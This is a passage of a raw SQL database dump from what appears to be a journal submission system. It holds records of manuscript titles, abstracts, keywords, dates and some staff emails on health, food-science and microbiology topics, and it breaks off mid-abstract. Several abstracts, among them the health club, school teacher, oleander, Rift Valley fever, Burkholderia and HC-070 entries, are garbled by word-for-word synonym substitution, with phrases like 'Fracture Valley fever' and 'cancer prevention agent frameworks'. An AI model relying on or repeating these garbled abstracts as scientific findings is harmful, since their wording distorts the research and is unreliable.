Keywords: U5CD, Poisson, Negative binomial, Multilevel, Risk Factor  \r\n',685,'','2019-09-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,'2019-09-12',2),(5165,6348,45,0,'','Services available in the Transfusion medicine department of Sir Salimullah Medical College and Mitford Hospital','',14,3,NULL,'Objective: Blood, is a scarce non substitute, which necessitates it for patients to have a reliable safe access to blood products at all levels. In order to identify the shortcomings in this process, this study has been designed to assess the current status of the transfusion medicine department services in one of the tertiary level hospital in Dhaka city.\r\nMethod: This study was conducted in the Transfusion Medicine department, Sir Salimullah Medical College and Mitford Hospital, Dhaka in 2018.  The study population was a total of 275(14 Service Providers purposively interviewed &261 blood donors taken as per convenience). Results: The findings revealed that all basic tests and mandatory screening tests were conducted in the unit except Bone Marrow examination and Apheresis. Important record registers (Donor care, Donor deferral register,etc.) were present but not updated. Few SOPs that were available but were not kept at work stations. No screening curtains were provided for donors privacy and no technicians used gloves at work. Only 1.5% donors were Voluntary. About 36% were first time donors. About 19% of donors mentioned a delay of nearly an hour for completion of donation process, though 80.5% donors were still satisfied with staff behavior. WHO criteria was followed for Donor selection in the unit. Pre and post donation counselling was extremely dissatisfying. In spite of no stocks, the unit organized mere Voluntary Blood donation activities.\r\nConclusion: A huge number of patients rely on tertiary hospitals for blood transfusions, as it is a life-saving procedure. Voluntary blood donation can be increased by encouraging Government–NGO collaboration along with use of software for holding details of regular donors. \r\n','blood transfusion, services, tertiary hospital,dhaka',643,'','2020-07-13',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,1,0,0,NULL,'2020-07-13',1),(5148,6331,971,0,'','Present study investigated Corona Virus(covid-19) ','',14,0,NULL,'The number of Covid-19 cases in the world and USA. The risk groups for the virus. The SARS-CoV-2 the virus that causes the novel coronavirus Covid-19. The confirmed cases from mild to critical and the breakdown of the Covid-19 day to day of each level of severity. Covid-19 affecting our Mental Health. The methods that are used to trace or track covid-19. Testing for the coronavirus. Finally, the Covid-19 vaccine shows a promise in early studies. ','Covid-19 vaccine',3761,'','2020-07-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'2716','gopi_m@meetingsint.co.in',2,0,0,0,NULL,'2020-07-13',1),(5183,6370,45,0,'','Tactile-Visual Cross Modal Transfer after an Extended Periods of Congenital Blindness','',2,3,NULL,'ABSTRACT\r\n \r\nPURPOSE: In underdeveloped villages of India, infants with congenital cataracts often do not undergo cataract surgery due to socioeconomic reasons. Consistent with a strict interpretation of the critical period, if congenital cataracts are treated within a few months of birth it leads to a near normal development of vision but after age 6 or 7 years there should be little or no improvement. The experiments below show that vision can be regained after the critical period. The objective of Experiment 1 is to assess the development of the tactile-visual link compared to intramodal tactile and visual object recognition while Experiment 2 assesses precision of the tactile-visual link. \r\nMETHODS: Subjects were between 8 and 15 years old. In Experiment 1 objects were used to assess tactile-to-tactile, tactile-to-visual, visual-to-tactile, and visual-to-visual transfer in three patients. In Experiment 2, objects of a specific length, aspect ratio, or curvature ratio were used to assess the precision of tactile-to-visual transfer in three other patients and four normally sighted control subjects. \r\nRESULTS: In Experiment 1, tactile-to-visual transfer accuracy pre-operatively was about 20% and improved to above 50% during one week. In Experiment 2 the patients had a preoperative error range of 23-51%.  There was a 25% improvement on post operation day 1 and by the day 4 there was a 50% improvement in the number of errors. CONCLUSION:  We have demonstrated that the link between touch and vision strengthened significantly after the classic critical period.\r\n\r\n','',3764,'','2020-07-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'1453','saipriyanka_y@omicsgroup.co.in',4,0,0,0,NULL,'2020-07-14',1),(5214,6400,45,0,'','Food safety knowledge of street food vendors in downtown Amman-Jordan  ','',3,3,NULL,'Background:  Foods that are prepared and sold and in the street can be defined as street food, such food still a weak point in food safety, despite street foods provide people with a convenient meal with low cost, they are associated with many food poisoning outbreaks. Methods: A total of 120 street vendors participated in this study during the period from May to August 2019. Structured written questionnaires were developed according to the Jordan of Food and Drug Administration street food safety code of practice (JFDA, 2007a). The questionnaire consists from two parts; the first part was designed  to collect demographic data about the respondents, the second part used to evaluate food safety knowledge and attitudes of vendors. Results: In our study, it was found that 48.3% of food vendors  had not received any food safety training courses, and 67.5%  had experienced years below 3 years. The mean food safety knowledge score for street food vendors was 54 points, which  indicated  insufficient knowledge in food safety. street food vendors had weak understanding of food safety attitudes with total mean score 53.2±11. Conclusions: Street food vendor training should be given first priority to improve the safety of street food. ','',2879,'','2020-07-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-16',1),(5206,6393,45,0,'','Demanding of Lassa Fever: Reducing its risk as an Infectious Disease','',19,3,NULL,'In recent years, Lassa fever has been announced as an infectious disease in the world, a few imported cases have been accounted for in various pieces of the world and there are developing worries of the possibilities of Lassa fever Virus as an organic weapon. Regardless of its assaulting impact, no substantial arrangement has been created to reduce the hazard of the ailment, about a large portion of 10 years after identifying it. A Review based on the documents from the literature search on PubMed, Scopus, Goggle Scholar and Science direct. Out of these, the final 16 articles that met the criteria were selected. Relevant information on epidemiology, the burden of management and control were obtained. Timely and effective containment of the Lassa fever disease in Lassa village four decades ago could have minimized the devastating effect and threats posed by this illness in the West African sub-region and indeed the entire globe. That was a hard lesson calling for much more proactive measures towards the eradication of the illness at primary, secondary, and tertiary levels of health care. Hence, the paper is aimed at appraising the threats associated with Lassa fever disease; its demands on curtailing the menace of the epidemic, and recommendations on important focal points.\r\n','Lassa Fever; Virus; Infectious Disease; Hazard; West Africa; Health Care; Epidemiology; Epidemic; Measures; Burden; Management \r\n',685,'','2020-07-15',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,1,0,0,NULL,'2020-07-16',1),(5236,6423,959,0,'','Assessment of Acute Pain Management and Associated Factors among Emergency Surgical Patients ','',14,3,NULL,'Pain is the main reason triggering patients to seek help in emergency department. International Association of Pain Study (IAPS) defines pain as an unpleasant sensory and emotional experience arising from actual or potential tissue damage. Pain affects all age groups without discriminating individuals based on gender or ethnicity.\r\nAnalgesia plays an important role in speeding the patient\'s recovery, reducing morbidity as well as improving clinical outcomes. The Emergency Department (ED) should be able to provide different services including pain management. Several studies have reported that pain is not treated adequately in the ED even though suitable analgesic drugs and different techniques are available. Moreover, several studies have identified different reasons for poor pain management in ED including an attitude of suspicion, a culture of ignoring the problem, and an environment that is not suitable for change in practice .\r\n','',3521,'','2020-07-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'923','ashwini_c@euroscicon.co.in',4,0,0,0,NULL,'2020-07-18',1),(5286,6478,45,0,'','The Risk on Musculoskeletal System and Psychosocial Functions among adolescents with Problematic Internet use in selected schools of Udaipur, Rajasthan, India','',14,3,NULL,'Background: The use of the Internet has brought a variety of convenience to our modern life. Nonetheless, the negative impact is also created by addictive behaviors to the Internet pervasively on one is academic and working performance, family life, social relationships, physical health, and psychological well-being. \r\nAim: The survey aimed to assess the level of PIU and associated risk on the Musculoskeletal system and Psychosocial functions among adolescents. \r\nSetting: The study was conducted in a selected school in Udaipur, Rajasthan, India. \r\nMethod: The study with a cross-sectional design was conducted on 100 subjects. The participants were selected using a non-probability, convenient sampling technique.. \r\nResult: The subjects had PIU ranging from mild to severe, with 100% subjects reporting moderate to severe Musculoskeletal symptoms and mild to moderate Psychosocial problems. \r\nImplications:\r\nThese findings will help the professionals to identify the physical and psychosocial problems in adolescents due to excess of internet use. \r\nConclusion: The result of this study also reinforces the fact of the harmful effects of extreme use of the Internet not only for physical and musculoskeletal but also for psychosocial well-being.\r\n','Problematic Internet use; Adolescents; Musculoskeletal symptoms, Psychosocial Problem.',686,'','2020-07-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'1004','vineetha_m@euroscicon.co.in',4,1,0,0,NULL,'2020-07-22',1),(5304,6370,45,0,'','TACTILE-VISUAL CROSS MODAL TRANSFER AFTER AN EXTENDED PERIOD OF CONGENITAL BLINDNESS','',15,3,NULL,'In underdeveloped villages of India, infants with congenital cataracts often do not undergo cataract surgery due to socioeconomic reasons. Consistent with a strict interpretation of the critical period, if congenital cataracts are treated within a few months of birth it leads to a near normal development of vision but after age 6 or 7 years there should be little or no improvement. The experiments below show that vision can be regained after the critical period. The objective of Experiment 1 is to assess the development of the tactile-visual link compared to intramodal tactile and visual object recognition while Experiment 2 assesses precision of the tactile-visual link. METHODS: Subjects were between 8 and 15 years old. In Experiment 1 objects were used to assess tactile-to-tactile, tactile-to-visual, visual-to-tactile, and visual-to-visual transfer in three patients. In Experiment 2, objects of a specific length, aspect ratio, or curvature ratio were used to assess the precision of tactile-to-visual transfer in three other patients and four normally sighted control subjects. RESULTS: In Experiment 1, tactile-to-visual transfer accuracy pre-operatively was about 20% and improved to above 50% during one week. In Experiment 2 the patients had a preoperative error range of 23-51%. There was a 25% improvement on post operation day 1 and by the day 4 there was a 50% improvement in the number of errors. CONCLUSION: We have demonstrated that the link between touch and vision strengthened significantly after the classic critical period.','TACTILE-VISUAL CROSS MODAL TRANSFER AFTER AN EXTENDED PERIOD OF CONGENITAL BLINDNESS',643,'','2020-07-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',1,'','',4,0,0,0,NULL,'2020-07-23',1),(5369,6555,45,0,'','Factors Influencing Household Food Security Status','',14,3,NULL,'Poor nutrition can lead to reduced immunity, impaired physical and mental development and reduced productivity. The objectives of this study were to determine the Influencing factors on the household food insecurity status. This cross- sectional study conducted on 2500 households selected from Qaresoo region in the northwest of Iran. Household food security status measured by a validated short questionnaire including six questions and other required data (influencing factors) obtained alongside the validated questionnaire. Chi-square and logistic regression used for data analysis using SPSS software. Forty Percent of households suffered from low food insecurity and twenty percent had experienced very low food insecurity. Severity of household food insecurity increased with increasing distance from the city (Exp (B) = 1.05, 95% C.I = 1.03-1.07). It decreased with increasing centers that provides food (Exp (B) = 0.97, 95% C.I = 0.97- 0.98) Residential infrastructure (Exp (B) = 0.99, 95% C.I = 0.98-0.99) Family size (Exp (B) = 0.92, 95% C.I = 0.87- 0.98) and the presence of both parents in comparison the presence of single parent at home (Exp (B) = 0.46, 95% C.I = 0.32-0.66). Spearman correlation test also showed that mean per capita income had a significant inverse correlation with household food insecurity status. (Correlation coefficient = –0.3, P < 0.05). Socioeconomic factors were affecting the household food insecurity status. More studies seem to be essential in order to provide practical solutions to reduce the severity of food insecurity.','Food Insecurity Status, Influencing Factors, Prevalence, Household',2879,'','2020-07-26',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-27',1),(5370,6556,45,0,'','Presentation of a Validated Checklist as a Tool for Assessing, Preventing and Managing Food Waste in Foodservices','',14,3,NULL,'More researches are needed to identify the relevant factors influencing the generation of food waste and devise preventive strategies. The objective of this study is to develop a checklist to as- sess the good management practices that have a  positive impact on eliminating or minimizing  food waste in food service units. A theoretical list of relevant factors impacting the generation of food waste during meal production is developed, taking into account administrative planning, re- ceipt and storage of foods, and the preparation and distribution of meals by food service units. For each factor, several administrative and/or technical actions are identified. To validate the content, this list is submitted to a ten-member expert panel for a final evaluation. The factor (and its re- spective actions) is considered relevant if 80% of the expert panel members agree on its relevance. All actions employ a dichotomous response of Yes/No. Affirmative responses are expected because these actions are considered to be good management practices that have a positive impact on eli- minating or minimizing food waste. Following the panel approval process, a checklist of 12 factors and 102 actions is detailed. The conceptual structure of the checklist for food waste management presented in this study enables a comprehensive understanding of the factors that impact food waste, providing a theoretical basis for future research into the relative importance of the rele- vant factors and actions identified in this study.','Food Services, Checklist, Food Wastefulness, Waste Management',2879,'','2020-07-26',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-27',1),(5371,6557,45,0,'','Effect of Storage Conditions on the Sensory Quality, Colour and Texture of Fresh-Cut Minimally Processed Cabbage with the Addition of Ascorbic Acid, Citric Acid and Calcium Chloride','',14,0,NULL,'The aim of this study was to investigate the effect of storage conditions on the sensory quality, colour and texture of fresh-cut cabbage during the addition of ascorbic acid, citric acid and calcium chloride. Ascorbic acid maintained the overall quality for 14 days at 0ËšC and 7 days at 5ËšC; no difference, however, was observed regarding browning of cut surface compared to the control sample at both storage temperatures. Calcium chloride maintained the overall quality and cut surface browning for 14 days at both storage temperatures. It was also found that citric acid 1% can be used for minimally processed cabbage. Soaking with citric acid helped retain the color and increased the overall acceptance and organoleptic quality of fresh cut cabbage; it reduced browning of the cut surface and protected against formation of black specks. Citric acid treatment combined with low temperature storage (0ËšC) prolonged the shelf life of mini- mally processed cabbage for 22 days, time sufficient for acceptable marketing of the product. The lightness of mini- mally processed cabbage decreased linearly from 70.94 ± 6 to 63.8 ± 8.5 - 61.3 ± 8 units for the chemical treatments during 22 days of storage at 0ËšC. Hue angle values during storage time were also significantly influenced by chemical treatments mainly at 0ËšC.','Storage, Sensory Quality, Colour, Texture, Fresh-Cut Minimally Processed Cabbage, Ascorbic Acid, Citric Acid, Calcium Chloride',2879,'','2020-07-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-27',1),(5372,6558,45,0,'','Applications of Microfluidization and High Pressure Processing in Food Industry and the Effect of Them on Food Products','',14,3,NULL,'With the development of technology, several new processing techniques are being introduced for the food industry. By applying those novel techniques to food systems, it has been found that the structural and functional properties     of food could be altered. Microfluidization which is also known as high pres- sure homogenization is one of the novel technologies that could be applied in food industry to obtain many beneficial outcomes.  High  pressure processing  is another novel technique that is mainly playing the microbicidal effect. This work is concerned on the possibility of using microfluidization and high pressure processing in food industry based on the experimental  findings.  These techniques could be used as useful tools in the field of food science and technology.','Functional Properties, Food Industry, Food Molecules, High Pressure Processing, Microfluidization',2879,'','2020-07-26',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-27',1),(5373,6559,45,0,'','Food Sanitation Knowledge, Attitude, and Behavior for the University Restaurants Employees','',14,3,NULL,'The purpose of this study was to discuss the food sanitation knowledge, attitude, and behavior for the employees of uni- versity restaurants, and furthermore, to explain the interrelations of these various were occurring at school. A ques- tionnaire survey procedure was used. Each two constructs of food sanitation attitude and behavior were analyzed by factor analysis. Data was analyzed by description, Pearson’s correlation and multiple regression analysis. The cor- rectness rate toward the whole sanitation knowledge of trials was 70%. The overall attitude toward food sanitation was prone to positive and the attitude of employee self-responsibility was superior to the attitude of food sanitation practice. The sanitary guiding behavior was better than the sanitary habit behavior; and there was a significant relationship in- dicated through Pearson correlation analysis among three various. The sanitation knowledge and sanitation attitude showed a 42.6% predictive power to behavior, the attitude was mediated between knowledge and behavior. The univer- sity restaurant employees shared a more pessimistic view toward the benefits of training and the institutions could es- tablish a committee for monitoring food nutrition and sanitation. It provides valuable information for development em- ployees training while seeking to raise school restaurant food safety levels.','Food Sanitation, Knowledge, Attitude, Behavior',2879,'','2020-07-26',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-27',1),(5368,6554,45,0,'','Traceability: Availability and Efficiency among Food Industries in Ghana','',14,3,NULL,'Food traceability systems availability and efficiency was investigated using 74 food businesses along the food chain in Ghana. Questionnaire with closed and open ended questions were given to purposefully sampled staff in key positions in the food businesses to answer on qualification of technical personnel, availability of documentation procedure and how these businesses were controlling traceability systems. Most food businesses were using Higher National Diploma graduates in the technical/supervisory positions. Documentation was poor and although there was awareness on trace- ability across the food businesses, implementation and maintenance was not effective. Only 23.8% manufactur- ing/processing units, 20% hospitals, 16.7% hotels and 14.8% schools could complete traceability test within 4 hours. It was recommended that more short training programmes on quality and safety be designed for workers in the food in- dustry by appropriate institutions while science students from the Senior High Schools are encouraged to enroll on food science and food manufacturing technology programs to improve on the current situation.\r\n\r\n','Food; Traceability; Legislation; Quality Assurance',2879,'','2020-07-26',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'626','manideepika_v@omicsgroup.co.in',4,0,0,0,NULL,'2020-07-28',1),(5340,6524,91,0,'','FORMULATION AND EVALUATIONS OF TOPICAL HYDROGEL OF VORICONAZOLE','',14,0,NULL,'Voriconazole is a triazole antifungal medication that is generally used to treat serious, invasive fungal infections. These     are     generally     seen      in      patients      who     are immunocompromised, and include invasive candidiasis, invasive aspergillosis, and certain emerging fungal infections. Skin is one of the most readily accessible organs on human body for topical administration and is main route of topical drug delivery system. Carbopol based gel formulations with Voriconazole were made. The formulation study was aimed to keep all other ingredients constant and only change in Carbopol 940 concentrations. Gel formulations were characterized for Physical Evaluation, Rheological Studies, Sensitivity Test, Skin Irritation Test, In-vitro drug diffusion through animal membrane for the optimized formulation and in-vitro antifungal activity. The results were found satisfactory for all the parameters studied.\r\n\r\n','voriconazole gel , gelling agent , antifungal gel',2446,'','2020-07-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',2,0,0,0,NULL,'2020-07-28',1),(5460,6661,45,0,'','Associations of Health Club Membership with Physical Activity and Cardiovascular Health','',15,3,NULL,'Introduction\r\nThis study evaluates whether a health club membership is associated with meeting the US physical activity (PA) guidelines and/or favorable cardiovascular health.\r\nMethods\r\nUtilizing cross-sectional information of gym individuals (n = 204) and non-individuals (n = 201) from April to August 2013, this is the main investigation as far as anyone is concerned to inspect a gym participation corresponding to impartially estimated cardiovascular wellbeing pointers including resting circulatory strain, resting pulse, weight file, midriff boundary, and cardiorespiratory wellness dependent on a non-practice test calculation. To decide the complete PA and stationary time, this examination utilized a thorough PA survey about both vigorous and opposition exercises at the gym, just as way of life exercises in different settings, which was created dependent on the International Physical Activity Questionnaire (IPAQ).\r\nResults\r\nThe chances proportions (95% certainty time frame) either the high-impact, obstruction, or both oxygen consuming and opposition PA rules for individuals contrasted with non-individuals were 16.5 (9.8–27.6), 10.1 (6.2–16.3), and 13.8 (8.5–22.4), separately. Noteworthy relationship of gym enrollment with increasingly ideal cardiovascular wellbeing results and stationary conduct were watched for resting pulse (B: - 4.8 b/min, p<0.001), cardiorespiratory wellness (B: 2.1 ml/kg/min, p<0.001), and inactive time (B: - 1.4 hours, p<0.001). Members with a fitness center enrollment of >1 year had increasingly ideal wellbeing results, with a littler abdomen outline (men, B: - 4.0 cm, p = 0.04; ladies, B: - 3.4 cm, p = 0.06), contrasted with non-individuals.\r\nConclusions\r\nFitness center enrollment is related with essentially expanded vigorous and obstruction physical action levels and progressively positive cardiovascular wellbeing results contrasted with non-individuals. In any case, longitudinal, randomized controlled preliminaries would be plainly justified as cross-sectional information restricts causal deductions. \r\n','',2879,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-28',1),(5461,6662,45,0,'','Factors influencing mental health improvements in school teachers','',15,3,NULL,'Objective\r\nTo identify changes in work-related psychological attitudes that influence mental health improvement in school teachers after participation in a psychological group program.\r\nMethods\r\nIn an exploratory investigation with N = 544 coordinated cases we consolidated a screening instrument for general emotional wellness (GHQ) with proportions of business related conduct and experiential examples (AVEM). We looked at four GHQ change types pre and present mediation with respect on their exhibition on eleven sub-scales that figure as expert assets. Components that demonstrated noteworthy relative changes and in this way (likely) added to improved wellbeing status were distinguished by methods for pairwise t-tests and comparing impact sizes. \r\nResults \r\nDiminishes in eagerness to work to weariness (VB), in making progress toward flawlessness (PS), and in the inclination for abdication notwithstanding disappointment (RT), just as an expansion of separating capacity (DF) and of internal quiet and parity (IR) have all the earmarks of being the primary components affecting wellbeing improvement in the mediation. At the same time, an expansion of fulfillment with life (LZ) is watched. \r\nConclusion\r\nThe fair utilization of expert assets is a basic fixing in keeping up educators\' wellbeing. Altering the harmony among responsibility and opposition through components found in this examination help educators in keeping up and reinforcing flexibility. The training program tends to these elements by concentrating on close to home perspectives and great relational connections in the school condition.\r\n','',687,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-28',1),(5458,6659,45,0,'','Positive mental health among health professionals working at a psychiatric hospital','',15,3,NULL,'Background\r\nPositive psychological well-being (PMH) is a mix of enthusiastic, mental and social prosperity that is essential for a person to be intellectually sound. The current examination expects to inspect the socio-segment contrasts of PMH among emotional wellness experts and to investigate the relationship between work fulfillment and all out PMH.\r\nMethods\r\nSpecialists, nurture and partnered wellbeing staff (n = 462) finished the online study which incorporated the multidimensional 47-thing PMH instrument just as a solitary thing work fulfillment question. Relationship of PMH with work fulfillment were researched by means of direct relapse models.\r\nResults\r\nCritical contrasts in PMH aggregate and space explicit scores were seen across socio-segment attributes. Age and ethnicity were fundamentally connected with PMH all out scores just as different space scores, while sex, conjugal and residency status and the staff\'s position were just essentially associated with area explicit scores. Employment fulfillment was likewise seen as an altogether connected with complete PMH.\r\nConclusion\r\nThe working environment is a key domain that influences the emotional wellness and prosperity of working grown-ups. So as to advance and encourage PMH, working environments need to consider the significance of psychosocial prosperity and the wellbeing of staff while giving a situation that underpins and keeps up generally speaking wellbeing and work effectiveness.\r\n','',687,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-28',1),(5457,6658,45,0,'','Effects of salinity and drought on growth, ionic relations, compatible solutes and activation of antioxidant systems in oleander (Nerium oleander L.)','',15,3,NULL,'Nerium oleander is a decorative types of high tasteful worth, developed in dry and semi-parched areas in light of its dry spell resilience, which is likewise considered as generally impervious to salt; yet the biochemical and atomic components basic oleander\'s pressure resistance remain to a great extent obscure. To explore these instruments, one-year-old oleander seedlings were presented to 15 and 30 days of treatment with expanding salt focuses, up to 800 mM NaCl, and to finish retaining of water system; development boundaries and biochemical markers normal for rationed pressure reaction pathways were then decided in pushed and control plants. Solid water deficiency and salt pressure both caused hindrance of development, corruption of photosynthetic colors, a slight (however factually critical) increment in the leaf levels of explicit osmolytes, and enlistment of oxidative worry—as showed by the aggregation of malondialdehyde (MDA), a dependable oxidative pressure marker—joined by increments in the degrees of absolute phenolic mixes and cancer prevention agent flavonoids and in the particular exercises of ascorbate peroxidase (APX) and glutathione reductase (GR). High saltiness, what\'s more, actuated aggregation of Na+ and Cl-in roots and leaves and the enactment of superoxide dismutase (SOD) and catalase (CAT) exercises. Aside from anatomical adjustments that shield oleander from leaf drying out at moderate degrees of stress, our outcomes demonstrate that resistance of this species to saltiness and water deficiency depends on the constitutive gathering in leaves of high convergences of solvent starches and, less significantly, of glycine betaine, and in the actuation of the previously mentioned cancer prevention agent frameworks. In addition, with respect to explicitly salt pressure, components productively blocking transport of harmful particles from the roots to the ethereal pieces of the plant seem to add to an enormous degree to resilience in Nerium oleander.','',3756,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-28',1),(5456,6657,45,0,'','Risk analysis of inter-species reassortment through a Rift Valley fever phlebovirus MP-12 vaccine strain','',15,3,NULL,'Fracture Valley fever (RVF) is a mosquito-borne zoonotic malady endemic to Africa and the Arabian Peninsula. The causative specialist, Rift Valley fever phlebovirus (RVFV), has a place with the class Phlebovirus in the family Phenuiviridae and causes high paces of premature births in ruminants, and hemorrhagic fever, encephalitis, or visual deficiency in people. Viral upkeep by mosquito vectors has prompted irregular RVF episodes in ruminants and people in endemic nations, and compelling immunization of creatures and people may limit the effect of this malady. A live-lessened MP-12 antibody strain is extraordinary compared to other described RVFV strains, and was restrictively endorsed as a veterinary immunization in the U.S. Live-weakened RVF immunizations including MP-12 strain may shape reassortant strains with different bunyavirus species. This examination along these lines expected to portray the event of hereditary reassortment between the MP-12 strain and bunyavirus species firmly identified with RVFV. The Arumowot infection (AMTV) and Gouleako goukovirus (GOLV), are transmitted by mosquitoes in Africa. The consequences of this investigation demonstrated that GOLV doesn\'t shape perceptible reassortant strains with the MP-12 strain in co-contaminated C6/36 cells. The AMTV additionally didn\'t shape any reassortant strains with MP-12 strain in co-contaminated C6/36 cells, because of the contrariness among N, L, and Gn/Gc proteins. An absence of reassortant arrangement could be because of a useful incongruence of N and L proteins got from heterologous species, and because of an absence of bundling through heterologous Gn/Gc proteins. The MP-12 strain did, be that as it may, haphazardly trade L-, M-, and S-fragments with a hereditary variation strain, rMP12-GM50, in culture cells. The MP-12 strain is subsequently improbable to shape any reassortant strains with AMTV or GOLV in nature.','',3756,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-28',1),(5455,6656,45,0,'','Two stable variants of Burkholderia pseudomallei strain MSHR5848 express broadly divergent in vitro phenotypes associated with their virulence differences','',15,3,NULL,'Burkholderia pseudomallei (Bp), the operator of melioidosis, causes sickness extending from intense and quickly lethal to extended and incessant. Bp is exceptionally irresistible by vaporized, can cause serious ailment with vague indications, and is normally impervious to different anti-microbials. Notwithstanding, no antibody exists. Not at all like numerous Bp strains, which display arbitrary fluctuation in attributes, for example, province morphology, Bp strain MSHR5848 showed two unmistakable and moderately stable state morphologies on sheep blood agar plates: a smooth, reflexive, light yellow settlement and a level, unpleasant, white province. Section of the two variations, assigned \\\\\\\"Smooth\\\\\\\" and \\\\\\\"Unpleasant\\\\\\\", under standard research facility conditions delivered societies made out of > 99.9% of the single comparing type; be that as it may, both could change to the next sort at various frequencies when hatched in certain healthfully severe or distressing development conditions. These MSHR5848 subordinates were widely described to recognize variation related contrasts. Minuscule and state morphology contrasts on six differential media were watched and just the Rough variation utilized sugars in particular agar. Antimicrobial susceptibilities and lipopolysaccharide (LPS) highlights were described and phenotype microarray profiles uncovered unmistakable metabolic and vulnerability variations between the variations. Results utilizing the phenotype microarray framework limited the 1,920 substrates to a subset which separated the two variations. Smooth developed more quickly in vitro than Rough, yet the last displayed an almost 10-overlay lower deadly portion for mice than Smooth. At long last, the Smooth variation was phagocytosed and imitated indeed and was more cytotoxic than Rough in macrophages. Interestingly, numerous locus grouping type (MLST) examination, ribotyping, and entire genome arrangement investigation showed the variations\\\\\\\' hereditary preservation; just a solitary steady hereditary contrast between the two was distinguished for additional investigation. These particular contrasts appeared by two variations of a Bp strain will be utilized to all the more likely comprehend the system of Bp phenotypic inconstancy and to perhaps distinguish in vitro markers of disease.','',3756,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2020-07-28',1),(5452,6654,45,0,'','Treatment with HC-070, a potent inhibitor of TRPC4 and TRPC5, leads to anxiolytic and antidepressant effects in mice','',15,3,NULL,'Forty million grown-ups in the US experience the ill effects of nervousness issues, making these the most well-known types of psychological instability. Transient receptor potential channel sanctioned subfamily (TRPC) individuals 4 and 5 are non-particular cation diverts exceptionally communicated in locales of the cortex and amygdala, regions thought to be significant in controlling nervousness. Past work with invalid mice recommends that hindrance of TRPC4 and TRPC5 may have anxiolytic impacts. \r\nHC-070 in vitro \r\nTo evaluate the capability of TRPC4/5 inhibitors as a road for treatment, we concocted an exceptionally strong, little particle opponent of TRPC4 and TRPC5 which we call HC-070. HC-070 hinders recombinant TRPC4 and TRPC5 homomultimers in heterologous articulation frameworks with nanomolar intensity. It likewise restrains TRPC1/5 and TRPC1/4 heteromultimers with comparative intensity and lessens reactions evoked by cholecystokinin tetrapeptide (CCK-4) in the amygdala. The compound is >400-overlap particular over a wide scope of atomic targets including particle channels, receptors, and kinases. \r\nHC-070 in vivo \r\nUpon oral dosing in mice, HC-070 accomplishes presentation levels in the cerebrum and plasma esteemed adequate to test conduct movement. Treatment with HC-070 constricts the anxiogenic impact of CCK-4 in the raised in addition to labyrinth (EPM). The compound restates the phenotype saw in both invalid TRPC4 and TRPC5 mice in a standard EPM. Anxiolytic and energizer impacts of HC-070 are likewise seen in pharmacological in vivo tests including marble covering, tail suspension and constrained swim. Besides, HC-070 improves the expanded dread memory initiated by interminable social pressure. A cautious assessment of the pharmacokinetic-pharmacodynamic relationship uncovers that generous adequacy is seen at unbound mind levels like, or even lower than, the half inhibitory focus (IC50) recorded in vitro, expanding certainty that the watched impacts are to be sure intervened by TRPC4 and additionally TRPC5 hindrance. Together, this test informational index presents a novel, top notch, little atom enemy of TRPC4 and TRPC5 containing channels and supports the focusing of TRPC4 and TRPC5 channels as another component of activity for the treatment of mental manifestations.\r\n','',3756,'','2020-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'970','phanindra_k@omicsgroup.co.in',4,0,0,0,NULL,'2020-07-28',1),(5611,6822,45,0,'','Altered Sarcoplasmic Reticulum Calcium Cycling-Targets for Heart Failure Therapy','',15,3,NULL,'Heart failure is a complex clinical syndrome with typical symptoms and signs that generally occur on exertion but can also occur at rest (particularly when recumbent), secondary to an abnormality of cardiac structure or function. There are an estimated 23 million people with HF worldwide. The contractile force in cardiomyocytes is determined by the amplitude of the Ca2+ transient generated by SR Ca2+ release via intracellular Ca2+ release channels/ryanodine receptor-2. At the cellular level, the causes of impaired cardiac myocyte relaxation include cytosolic Ca2+ overload, myofilament structural changes or dysfunction, and neurohormonal activation. Alternatively, a decrease in Ca2+ efflux or inadequate Ca2+ reuptake by the sarcoplasmic reticulum during diastole can result in intracellular Ca2+ overload in this condition. SERCA2a is validated to be the major cardiac isoform. SERCA2a is a prime target for modulation of cardiac contractility during heart failure. The dysregulation of SERCA2a is a hallmark of heart failure. Reduction in SR Ca2+ uptake results in systolic dysfunction as well as increased cytosolic Ca2+ level and susceptibility to apoptosis. Alterations in the levels of the ryanodine receptor, triadin, junctin, and calsequestrin may affect Ca2+ storage in the SR, the amount of Ca2+ which is available to be released from the SR and the amount of SR Ca2+ leak during diastole, thus contributing to the pathology of the failing heart. Histidine-rich calcium-binding protein (HRC) regulates Ca2+ homeostasis in the heart. Overexpression of FKBP12.6 reduces Ca2+ leak from the SR during diastole, thereby increasing SR-Ca2+ content, and thus increases the amount of 